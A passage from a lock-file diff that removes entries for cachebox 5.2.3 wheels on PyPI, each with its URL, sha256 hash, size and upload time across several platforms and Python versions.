"sha256:7f691e25572a3ddbb018e19d796f774713bd6b0f7ce9be2e71f6e18572de264a", size = 669309, upload-time = "2026-04-10T12:20:51.117Z" }, - { url = "https://files.pythonhosted.org/packages/34/29/5a9e92bdc7b32dc865e73dd776638244f900136daee5bb0591a67e1530fa/cachebox-5.2.3-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:33368adf86669c29b936fbae5d6219cf90aacd4b1db71dae2e23d584a8219cd6", size = 643705, upload-time = "2026-04-10T12:21:05.882Z" }, - { url = "https://files.pythonhosted.org/packages/04/90/5273a412855fdc11f674e4749aee6d5ec0a91f5c1a9f6e922f7fa0cb7a83/cachebox-5.2.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:38ce67b7b45713e49459a09411d07f82de04022c04aecde6202cd32f934c2b1f", size = 609751, upload-time = "2026-04-10T12:21:21.331Z" }, - { url = "https://files.pythonhosted.org/packages/a1/a4/0fadb5e6a00f373cc3fe56b4415cdea2fc0147f6ec475611762d16eb4b05/cachebox-5.2.3-cp311-cp311-win32.whl", hash = "sha256:a7cd2c81347063ab6c512d0f569aeb5f75fc2dfe686c8486258ffd08052324f4", size = 275485, upload-time = "2026-04-10T12:21:51.563Z" }, - { url = "https://files.pythonhosted.org/packages/03/83/67c1bf83f815294d2c3acd7631f25b5cbe6067e1d56495f76829dd60057b/cachebox-5.2.3-cp311-cp311-win_amd64.whl", hash = "sha256:7e45798d6b969794840bb302857946d710ecb32af78dfcb3ab40f4e68ee7fdaf", size = 288024, upload-time = "2026-04-10T12:21:37.999Z" }, - { url = "https://files.pythonhosted.org/packages/e4/e7/6fa6abfc9c4c07b88f09a88466fa93c7081fd679d8e06f8f558bb4ac845c/cachebox-5.2.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:09c0340e9daa7b4530801e5a570cb0c1a1ad941a85d245d360020d3986d0e787", size = 377791, upload-time = "2026-04-10T12:20:23.87Z" }, - { url = "https://files.pythonhosted.org/packages/3a/79/89e4423352d0ca33bbf80fc1b4b665e654a93de8b16cf41e96fcac81801a/cachebox-5.2.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f3162758792626685ec34950eedd565d015b115d0ff0d751d2716031fc32d51b", size = 359562, upload-time = "2026-04-10T12:20:10.626Z" }, - { url = "https://files.pythonhosted.org/packages/d2/ab/e533c2751e6a3411ebe369277aaed03199b9e4586a48f0a3712a1f4b418b/cachebox-5.2.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a189a780c3ccd7b9d157074ba6bf3e191e522b39abbdb590075111851f02d50d", size = 397910, upload-time = "2026-04-10T12:18:53.336Z" }, - { url = "https://files.pythonhosted.org/packages/7a/0d/b8492d6ca53278499a37c9f9d51afd4ad77bfbe813d6281944d45b97a1e7/cachebox-5.2.3-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:410b67baa99d433644199b11289627f7ebba4ee5786f95ca9858f238afcee157", size = 353699, upload-time = "2026-04-10T12:19:06.248Z" }, - { url = "https://files.pythonhosted.org/packages/78/d4/fd20b3a5362651303fa12d3ee62f56af2bd396e4a7303d7014a1a1e5b392/cachebox-5.2.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f81474dc19d3865fa5e57263f834bc6bbc00e471a594fb9d934ed552732c02fd", size = 372510, upload-time = "2026-04-10T12:19:18.997Z" }, - { url = "https://files.pythonhosted.org/packages/71/94/3ec55c946d300cc4eaed3a0f79740051ac6e11ef4032421332c6ca15f5d5/cachebox-5.2.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:85ccd827193b3e3e887a88a16b88ef7ed174e7e65be515b5253322aa75e665c3", size = 392802, upload-time = "2026-04-10T12:19:31.196Z" }, - { url = "https://files.pythonhosted.org/packages/01/b1/1a3c4e436ad8a4c4ba3e70f4c62e1f927cbbb3c943a9bba5813b8b815bde/cachebox-5.2.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a1e7d3cb8a5e7e68996a8619e3ef8771a124d14568c251f9e586eba88d759c1", size = 398223, upload-time = "2026-04-10T12:19:57.583Z" }, - { url = "https://files.pythonhosted.org/packages/0a/ea/d36ad3976c4396b350b96a1582411b7a00e56c144eec0bb5ba5f36ce7d86/cachebox-5.2.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:adcedfcfcb933b21e7fdcfe560c79887bc8287abceab0586aa3730417dd0277d", size = 427696, upload-time = "2026-04-10T12:19:44.361Z" }, - { url = "https://files.pythonhosted.org/packages/a8/36/71845b5c7a9ffbd85e6fdb470c11a174f499bd5238fa37b1214157c2454d/cachebox-5.2.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c7f0c72c51a3a9e7049ea6ff2a43cd3877ab7fee966eb65771a59621563b75e3", size = 567854, upload-time = "2026-04-10T12:20:38.357Z" }, - { url = "https://files.pythonhosted.org/packages/e8/a2/baf0e5a8392e64e352b137ccd7356b3d98068c842fd19f510a7790c05d34/cachebox-5.2.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:c48c10e498d573511aafbd545570e7f43b40a7428dc282183bf5adc334d9e1a8", size = 670306, upload-time = "2026-04-10T12:20:52.903Z" }, - { url = "https://files.pythonhosted.org/packages/a5/22/cd4e4c1d624b8ef9fb4b8bebf0bf5d2d74a399cf1ac46b667bb79d15359a/cachebox-5.2.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:2f1e086ab5ffd082a68bb63699d517655a59b06414927bfc84e01df91b81e34d", size = 645943, upload-time = "2026-04-10T12:21:08.238Z" }, - { url = "https://files.pythonhosted.org/packages/0a/d6/55859981f5ec6a9e412baaa4db6aa5973a00008750b3f054cdefcb6491fc/cachebox-5.2.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:649d18399f13735bb82daa33800196f815529c49e967767c40ca221723e68afa", size = 612309, upload-time = "2026-04-10T12:21:23.404Z" }, - { url = "https://files.pythonhosted.org/packages/d7/1e/313f650467ac85824c4199188f8f1ee3386cd12eb665dbf7c88d372e4956/cachebox-5.2.3-cp312-cp312-win32.whl", hash = "sha256:0a17aeb4e5b1c6ef1c3db8fc5186f9986e215ba5ea5a5d08baa45bcf55f261b2", size = 279789, upload-time = "2026-04-10T12:21:53.215Z" }, - { url = "https://files.pythonhosted.org/packages/c5/50/3b334f887accfa811cf5c7533b8ce22c523eb009363a86401198899dadd2/cachebox-5.2.3-cp312-cp312-win_amd64.whl", hash = "sha256:cfd69114141ab362acaa2099e425a1b965cf7b021a539a4e953143d593930b74", size = 290917, upload-time = "2026-04-10T12:21:39.696Z" }, - { url = "https://files.pythonhosted.org/packages/31/3b/16d5c295f6ec2913ef595b39986dc7b7cc179fdd2e73f5ebd1814c38fd51/cachebox-5.2.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:9527c5c70f8735f2d696331d8bcf77254f03b4dc8542046807823bd36ed4e8ba", size = 377408, upload-time = "2026-04-10T12:20:25.444Z" }, - { url = "https://files.pythonhosted.org/packages/cd/87/45f834154f79721e5b64a80ffab4f9710834c4f9c01fa977f94a9116c32a/cachebox-5.2.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:40ac878af00d5969862c1f6bc076de1e34ca248662fce6aecca1761f52e33e32", size = 359274, upload-time = "2026-04-10T12:20:12.127Z" }, - { url = "https://files.pythonhosted.org/packages/46/17/794e5f93e0a172aa14ecd692f6d89bdf094f71eb35fa923d0a0af25cef1c/cachebox-5.2.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b5ff26bfd8f7e95b3becf6d5f65c25edaca50fa68078868648b70d79bcccc260", size = 397520, upload-time = "2026-04-10T12:18:54.807Z" }, - { url = "https://files.pythonhosted.org/packages/23/19/9470b1a96de6e480192b1a92b2fafa72aa052efc2509a5418a5652205b33/cachebox-5.2.3-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:82e7002dd343afeeba2fcf0e483131b342a27ec3bc34b2214dc617691bda40d6", size = 353183, upload-time = "2026-04-10T12:19:07.797Z" }, - { url = "https://files.pythonhosted.org/packages/6c/2b/72813f80397ed4640e337cbd1a14ab7eaafe33e479291d3623b6a6a55fec/cachebox-5.2.3-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ccbdc54a6c4b5758408c1083bdfa217bd382894a8331c7d0a54b84ba0cf51e5b", size = 372239, upload-time = "2026-04-10T12:19:20.44Z" }, - { url = "https://files.pythonhosted.org/packages/05/17/47dc9687288fa55486573627089ecd9aae124de5924a4bce008af96d80b6/cachebox-5.2.3-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:df5135a168f143d186b1cc3be0ca16b66446897ab5cedc03bd80bcc926fcd403", size = 392568, upload-time = "2026-04-10T12:19:32.73Z" }, - { url = "https://files.pythonhosted.org/packages/13/95/450765b971a3bed9d7cf003c3833c1976482eb83b0241b6dbb840a25b43b/cachebox-5.2.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10bedf96db8f9766cc956f9adcc623e604264e5d6fa2e255432f8c2ed7519143", size = 397920, upload-time = "2026-04-10T12:19:59.314Z" }, - { url = "https://files.pythonhosted.org/packages/5f/3e/dd8f4c1f92e58d479913ce9cbaa3227c911128e6046c82f4fd44309f685a/cachebox-5.2.3-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f22732d0d69bb84ad2dca7480bffdfd0430c647152d488936e152ecbbfee52fb", size = 427332, upload-time = "2026-04-10T12:19:45.888Z" }, - { url = "https://files.pythonhosted.org/packages/7e/20/80d8c26ce63e78da3874a5bb07a3a78de53a2b0356ba80583a4927f0a074/cachebox-5.2.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:26ae0b68979204d360327f4c0725cfdc95cfc34ab73ab1a8f528e3bd2f6d023c", size = 567494, upload-time = "2026-04-10T12:20:40.373Z" }, - { url = "https://files.pythonhosted.org/packages/10/35/7249885dfed3602b3b48c1e67781197dcdc536c50f72caeabe3944348af8/cachebox-5.2.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:f3d628b816e28a6e7661d460e02dd5b421247cc2cd275814f80ea79621245fc4", size = 669968, upload-time = "2026-04-10T12:20:55.155Z" }, - { url = "https://files.pythonhosted.org/packages/2d/8a/e5b58f0bbd6fef74da5d8e5ab49e67898ce7e6df28c16280a0f2b78461f7/cachebox-5.2.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:64057caa6b741320655cd3c5997fe642dae5dbff571eb530e6f53e58272bb43b", size = 645547, upload-time = "2026-04-10T12:21:09.948Z" }, - { url = "https://files.pythonhosted.org/packages/d8/25/51783a4c6f25ca87ef1b4b762ff0364bd98053a02d597b30d26ff4cf13c5/cachebox-5.2.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa325306084aa2dc0b21e07723d7700f4d43dece3732c7fdaf7a269dc5e35aa7", size = 611844, upload-time = "2026-04-10T12:21:25.286Z" }, - { url = "https://files.pythonhosted.org/packages/c5/c5/b26c4b046e296d0e249448fe297626b3caca2e851837712f03c358662cb7/cachebox-5.2.3-cp313-cp313-win32.whl", hash = "sha256:55003089d21c2f5515089c307be063b45558e884a4a1cc9593944374c89975c4", size = 279421, upload-time = "2026-04-10T12:21:54.921Z" }, - { url = "https://files.pythonhosted.org/packages/e0/7f/a49420670393bfea618de7a893d45cae9294cf3293d7b158e7af20e8f39e/cachebox-5.2.3-cp313-cp313-win_amd64.whl", hash = "sha256:dcc5edb6ecf2b516e90b773d232360c5e4ed8fdcda038b19441da2ed9cf208ab", size = 290702, upload-time = "2026-04-10T12:21:41.458Z" }, - { url = "https://files.pythonhosted.org/packages/c9/0b/bf83bda13ef6fc490d208a1d4dd712034624526a88f61713cca0edc9884f/cachebox-5.2.3-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:a4b7559fa4994c4032dd07466c2041d57e055feb814762e1f73f4e8beef188d0", size = 371704, upload-time = "2026-04-10T12:20:27.253Z" }, - { url = "https://files.pythonhosted.org/packages/8e/ea/aa5162273238e84f9e41b33600c69299572dc1c8f0f768d07660b71be07d/cachebox-5.2.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f57afada3d9327adf87f3b5cf0094348c6fd49354ab2e9bd20b044648eb094ae", size = 353385, upload-time = "2026-04-10T12:20:13.668Z" }, - { url = "https://files.pythonhosted.org/packages/47/96/3ca013e2e48df5c1d7855669b208f4bf8014ccb842ccf7a3a0eaac07bee0/cachebox-5.2.3-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8342ff350ce86f062492752d612e9f056ac5dc56375713d75c3bf6e83b4d18db", size = 392181, upload-time = "2026-04-10T12:18:56.385Z" }, - { url = "https://files.pythonhosted.org/packages/63/ca/1bacb4efa0b0ce8065d1fb7c8dc7c382ec4e1cc3f007eb08417732be2725/cachebox-5.2.3-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:405f9cc8492fc9d953b5a6b9e2b661e99583755c6639ab8d09a287fdf336503c", size = 349494, upload-time = "2026-04-10T12:19:09.505Z" }, - { url = "https://files.pythonhosted.org/packages/d7/2e/75db4bda3768658f5baa5a54f6a4f643bc2de1a16788e40581a080e803c7/cachebox-5.2.3-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:94aae393ec1d9b26565d346445bb6afa3963d2a0d3eb5e4188d0e510fab871a0", size = 369216, upload-time = "2026-04-10T12:19:22.224Z" }, - { url = "https://files.pythonhosted.org/packages/f5/82/e1f833be0d57e29a8c5eb0a0275cd34b962f3c7f5b9e0517ec4bf75e7cc3/cachebox-5.2.3-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8b0b575066fc09f6fae0d4bd30d6ff56584a6870cbe7d202916c5e0d725cfd4", size = 385922, upload-time = "2026-04-10T12:19:34.198Z" }, - { url = "https://files.pythonhosted.org/packages/53/d6/615a3c16c1d63839f2c67644eb414c4dc9769ab2e169d935110fd8e268d5/cachebox-5.2.3-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41e99c1240106d39b63ce7868a6cd8c9da9243fef08848b85d428164e0769fd2", size = 393276, upload-time = "2026-04-10T12:20:00.925Z" }, - { url = "https://files.pythonhosted.org/packages/2f/a6/7844c9c84b170dae1005b22da174639968e64c8055d66a209a1598663771/cachebox-5.2.3-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:432ca62b99f7eafc21af669d76c88c1b7377db179b89fb6fca3ea93b8f9fff19", size = 421355, upload-time = "2026-04-10T12:19:47.691Z" }, - { url = "https://files.pythonhosted.org/packages/c9/0f/43f62355846cae3dc41cb4daccac0a4bb2b7b8b3c7d77d1b6a220bae6d54/cachebox-5.2.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:e51d9c59006b53447f806145406eb37a7fc3c25553d4fd24c3887f3b268d214e", size = 561656, upload-time = "2026-04-10T12:20:42.161Z" }, - { url = "https://files.pythonhosted.org/packages/9b/fc/a453813c6d000d69a41a06c6a3143a6c4d0d0e41f23c155db2f82ea0edfa/cachebox-5.2.3-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:5e48a405f699fb001b8af120a6e0b4a981277f84eb5dd66a1faa21e4b6fe9485", size = 665791, upload-time = "2026-04-10T12:20:56.842Z" }, - { url = "https://files.pythonhosted.org/packages/aa/a3/f6a9e75f1e602b67b6d67088a9a766adfc4e0a740a9c4b68e4e6207c1006/cachebox-5.2.3-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8cbfc007ea78af61d75d7d26e5854df53dc5da6877d074afd4b4696c074f4ee7", size = 640975, upload-time = "2026-04-10T12:21:11.641Z" }, - { url = "https://files.pythonhosted.org/packages/a3/15/4ac98277f7fd9d855c8ed337e8e2a3386d17997cce2dd3eadb23dedc08e3/cachebox-5.2.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6a94d0da8133b3a0707ae11c9ea321f8fc37e3b5a14517019a05d632218b0f56", size = 607242, upload-time = "2026-04-10T12:21:27.27Z" }, - { url = "https://files.pythonhosted.org/packages/9c/0b/ce61907a803f75854e0cc91b84c16e14dce0e4e939efbda26293eb4c8784/cachebox-5.2.3-cp313-cp313t-win32.whl", hash = "sha256:5fee33549877c03c2494ec5359a57a7667f872fe8e296a7f39d3dfe08dd3914c", size = 271619, upload-time = "2026-04-10T12:21:56.768Z" }, - { url = "https://files.pythonhosted.org/packages/b0/06/fece190ad5173d06b2779494aaad5528907f2e55c809618e5b67c2e3dbb5/cachebox-5.2.3-cp313-cp313t-win_amd64.whl", hash = "sha256:67548a05cd41fcc4f7af80a2f97f742fef3d436537ac2e1a1dce0fcba5d41190", size = 283133, upload-time = "2026-04-10T12:21:43.037Z" }, - { url = "https://files.pythonhosted.org/packages/b8/8b/72c0e80aad08e09867ce14a621bce689a733552f20cdf2ef96d4b052da10/cachebox-5.2.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:37fa0891f0defee053c09f5f43f802f731e36e6e6ca055d7d174af07f77232ca", size = 380523, upload-time = "2026-04-10T12:20:29.345Z" }, - { url = "https://files.pythonhosted.org/packages/fc/62/33aaade81b181d5191cc39c867c297aa7c65f3191aa9749bf99b77496b88/cachebox-5.2.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:dc6315902f2ef4afbf10bc8e08c54ff34de5ce124546b8e0016c9b0d327be21e", size = 362424, upload-time = "2026-04-10T12:20:15.215Z" }, - { url = "https://files.pythonhosted.org/packages/9e/0b/3eedaf9ea4b41c931f4340bfa42056efe2bb5fe3a79649d6c8a1dce585a5/cachebox-5.2.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7df1735ca778480d51b8232fed397ffe3935158f20d34fb1c5ed171b53d5a6e2", size = 399572, upload-time = "2026-04-10T12:18:58.331Z" }, - { url = "https://files.pythonhosted.org/packages/be/69/c79b8a6a5b889ac4a60800bacea3553cb3b86f6fd13b2262bade1cb962c6/cachebox-5.2.3-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e22451cde8f884051e941b21870e4fc91fcf58d0d8c285bb8964107e1f02445c", size = 353803, upload-time = "2026-04-10T12:19:11.21Z" }, - { url = "https://files.pythonhosted.org/packages/d4/c3/bc7838de51039f8c50506d8dc82f22ff9a652794339a223b12af595e1d2f/cachebox-5.2.3-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dcbccf3015d9a42bcf41260fa5cc048a5bdb75aa10997d514d6c976117f30ee2", size = 374474, upload-time = "2026-04-10T12:19:23.658Z" }, - { url = "https://files.pythonhosted.org/packages/65/61/e5231ad2ae952ca482f9b9df55df4b96add1a80de28de537c5f574605987/cachebox-5.2.3-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:311eae5079e256cbbfafdc3dcff1714b6598a767f9c1ef8c3709e74ea0cc12b0", size = 393045, upload-time = "2026-04-10T12:19:35.651Z" }, - { url = "https://files.pythonhosted.org/packages/78/c4/c9b3fa764ac5420a9e079ad53fa8840d4a26b74c4ccda56acbef49cf76ff/cachebox-5.2.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f4d2a80a5cd3380739c67f7d89e596634f5897b8d5a4a3dc1598312cb077535", size = 398700, upload-time = "2026-04-10T12:20:02.513Z" }, - { url = "https://files.pythonhosted.org/packages/9b/3e/c4e3acd4cb04e01c5fb7cc7a4de16059b9594d90672fff85af8670275267/cachebox-5.2.3-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3977515b727a5203f494c44c4566fb936c4b940351c01d3d8e7b5d104dff4f53", size = 426725, upload-time = "2026-04-10T12:19:49.385Z" }, - { url = "https://files.pythonhosted.org/packages/25/5d/610b79479719951581109d985244d34c97f86a308c3d7c83443e2b1dac46/cachebox-5.2.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c5be17dd5c4fabcfecd5bcf6d54f9c6fb719daed3ef01ac1c03a14af0e2b26c1", size = 570042, upload-time = "2026-04-10T12:20:43.793Z" }, - { url = "https://files.pythonhosted.org/packages/8c/63/cad8a05db4d0c0f5ba6bccb32e57d15c472276de9476f56004445b40711f/cachebox-5.2.3-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6d37334fc218fdaee31db8a4f938938716e7c3b1b4059e25de27c8447fc95fde", size = 670974, upload-time = "2026-04-10T12:20:58.528Z" }, - { url = "https://files.pythonhosted.org/packages/54/d1/9cff7c2b9048d1c38b7ad8199ce856596d09720b3bea74043f3bad71970b/cachebox-5.2.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:1e5f1b7e23411b748d919348c3b65db1f9f8927ab8f6f3acae19bd617543df2d", size = 646213, upload-time = "2026-04-10T12:21:13.619Z" }, - { url = "https://files.pythonhosted.org/packages/27/ae/2e1ad162ec13903e84469c8a753baf385f1bc324279d6c7cb6365e7099df/cachebox-5.2.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e7b06a75a898b31fd73c4d8bf727a9b9f8b5b7738cccd0ab5e6fd2a9cf659d3c", size = 612787, upload-time = "2026-04-10T12:21:29.271Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8a/07b5ffd841e1ff534bb6e8721c39fdfe0d7cdaac1398e1783b2a0c37bd22/cachebox-5.2.3-cp314-cp314-win32.whl", hash = "sha256:3b798052719f09a2ce7bf9fa9452dc0a7d4dc53b50a2d3aba6ce6ebc12d39df7", size = 278559, upload-time = "2026-04-10T12:21:58.482Z" }, - { url = "https://files.pythonhosted.org/packages/c4/f8/b88a82ce9ec7a2fa0f09ed1cdd031692c8664c41f9ab71831e177c7ce2df/cachebox-5.2.3-cp314-cp314-win_amd64.whl", hash = "sha256:4afc8b8575e3228a42ad8d819de5fbbecc6bd0b521295966b00244be37ae3b9b", size = 291928, upload-time = "2026-04-10T12:21:44.621Z" }, - { url = "https://files.pythonhosted.org/packages/4a/01/8c79c07c8c6517fb2fe7d479dd87044e38aac5b9af0245b33fcd695eae37/cachebox-5.2.3-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:0e8a34b82be30d3d9fb7dfaf9a86ec2b3ab9bc264715909ef27fc3d3587324d2", size = 374325, upload-time = "2026-04-10T12:20:30.923Z" }, - { url = "https://files.pythonhosted.org/packages/7f/51/0fc26b923e80ab857ac99d5f7f3784dc941e7b4de361c204835233176ddf/cachebox-5.2.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4d4e336aebf866463878ccd28a4d0ef4003ea216708cf4a02a7f198481b3af81", size = 355444, upload-time = "2026-04-10T12:20:16.879Z" }, - { url = "https://files.pythonhosted.org/packages/c1/6d/a6b399221f8dc4b3e01b37d3240ef5b8a7eb78cd9bfbb99b0e655dd01649/cachebox-5.2.3-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b102fcdd97b0602bf5d6ba1a571bba3e3d6fa912b89fd768b0da5427408eab8", size = 393978, upload-time = "2026-04-10T12:18:59.753Z" }, - { url = "https://files.pythonhosted.org/packages/bd/f1/4c8f998c117c1941a82bd824d6687280c50167f21fea6392e41531d641e2/cachebox-5.2.3-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:245a79fb2c5d3bff252f4263f76210ef3ad7c2ff9b0234859b26974830a80491", size = 349298, upload-time = "2026-04-10T12:19:12.843Z" }, - { url = "https://files.pythonhosted.org/packages/d1/dd/683bc5a32a0da660d02fa248b880b71a2b834e9b54b8d272b5801282f402/cachebox-5.2.3-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dd0e8dbd8fd4cf664c645c08f9e10508e133353756705c4a738e90a5406224b5", size = 370619, upload-time = "2026-04-10T12:19:25.298Z" }, - { url = "https://files.pythonhosted.org/packages/81/49/d6c47c78a7769b355076c5b635c2b538c8b88e8ceeb408e104d0f269b515/cachebox-5.2.3-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fdb74294bdc33e39e26606919a9b2229038d5fac0edb80c9056683c08584d4a9", size = 385988, upload-time = "2026-04-10T12:19:37.638Z" }, - { url = "https://files.pythonhosted.org/packages/70/e2/b669555ada7fa1392e4cdb8a19f3367db5c6abef0fde8ab034a9747760df/cachebox-5.2.3-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bba3e9a7f52fa196b434522f39675f3b32a076976ef2373ded6f1065e99f4d20", size = 394090, upload-time = "2026-04-10T12:20:03.978Z" }, - { url = "https://files.pythonhosted.org/packages/8f/01/42916249e53fe4fcbdf0419fb55dbc09b9f377475376e1d7f4ae9c9bd6cd/cachebox-5.2.3-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abb21f0f937fb66528f1b9f1a04874d6aa503e78bbb26f4cf33bf67faddbdd68", size = 421632, upload-time = "2026-04-10T12:19:51.048Z" }, - { url = "https://files.pythonhosted.org/packages/a1/54/34eebe18c6ed8ba27b1331b5e3d08bd8bb62f03ba81fbf47a2db0fa646f7/cachebox-5.2.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:dab6fd3189b0c746fb03e1915fd947aaca9112cedf26ef3a0c39383acf87d2e5", size = 563871, upload-time = "2026-04-10T12:20:45.417Z" }, - { url = "https://files.pythonhosted.org/packages/ba/b2/f92da0d54e4f18609588709090de8c81dd7c8b20ed6ac30f9b91bedbedf5/cachebox-5.2.3-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b4e7d2935b9df11d3717f99c7237b6780f1f8c70e6a99b69b8430d89929ec825", size = 665677, upload-time = "2026-04-10T12:21:00.512Z" }, - { url = "https://files.pythonhosted.org/packages/43/9d/bf2d3dc949afe4d21fc7eb15b7524255e834b9252df6bba111e6686d1c6f/cachebox-5.2.3-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:611aa260fe1b2506330ff72f415e2cb4053c9c4e3776ac68fe2eedee0e1b91b1", size = 642067, upload-time = "2026-04-10T12:21:15.727Z" }, - { url = "https://files.pythonhosted.org/packages/6e/4f/a789eda189550d239fbaf165b9810f148e733e97a2a4eda7c4192295c7f8/cachebox-5.2.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:a424ffb8514a9cb49bacff7995b7c767625cb2239692bd6524245e8579e375cc", size = 608048, upload-time = "2026-04-10T12:21:31.156Z" }, - { url = "https://files.pythonhosted.org/packages/41/c3/590e161c04ffbd36e33933e6dcca5ffa40b5548e3121a21d77aad42af138/cachebox-5.2.3-cp314-cp314t-win32.whl", hash = "sha256:83988dd8e9075ee837e8407e26db49a9944ae74924d5db57b477444d7d98622c", size = 271694, upload-time = "2026-04-10T12:22:00.589Z" }, - { url = "https://files.pythonhosted.org/packages/66/f4/f60b8506df467261178afe918801df37c02c46ec2b8ce019760a14e2abe7/cachebox-5.2.3-cp314-cp314t-win_amd64.whl", hash = "sha256:dbda6390fa5070a19157ae35ab8066d3fe468634e0e9e21452c68ce7999c7d0c", size = 284212, upload-time = "2026-04-10T12:21:46.241Z" }, - { url = "https://files.pythonhosted.org/packages/ce/7b/5eead1ca0d437b1993a742c6571079ae58ae4db50d94d42e87b514aed6c3/cachebox-5.2.3-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c798cddfb780156db09d3d96ed5da4c2d5fc01dad4bc7b54db5b20c34f221926", size = 376199, upload-time = "2026-04-10T12:20:32.674Z" }, - { url = "https://files.pythonhosted.org/packages/77/e3/5e45042f9b552a5087cafc2e0fed834e632531fca17818201d72e78593ce/cachebox-5.2.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:c8f3de4afeb3fd721620be3d02f2338bcbc3fdbd464ca14e1c474088c9669db0", size = 357109, upload-time = "2026-04-10T12:20:18.554Z" }, - { url = "https://files.pythonhosted.org/packages/d4/51/3c4743b718b42e4b80166fa61f8722b603eba7bf206768a7892c4699dce7/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b39022c258872185327acffa9ad42d6bdf42f37d006d35c825a684eb5fa98d40", size = 396433, upload-time = "2026-04-10T12:19:01.463Z" }, - { url = "https://files.pythonhosted.org/packages/f8/9b/678da91187bdb2836db2b8da62519da75359b46bc28697799a7caa314519/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5a0599fb85dcb6df9a86502435643fe90c793bbcd50b5d85217c70f2bc2e38fc", size = 354287, upload-time = "2026-04-10T12:19:14.55Z" }, - { url = "https://files.pythonhosted.org/packages/df/06/769446da6c9f2855499aaa19e2d7260aa47934bc2e15a931e5b737f8685a/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3cdbe8f1b7716a44dc82ef3a6830a612260c7379478cfa80804632e2e6252b8e", size = 372507, upload-time = "2026-04-10T12:19:26.763Z" }, - { url = 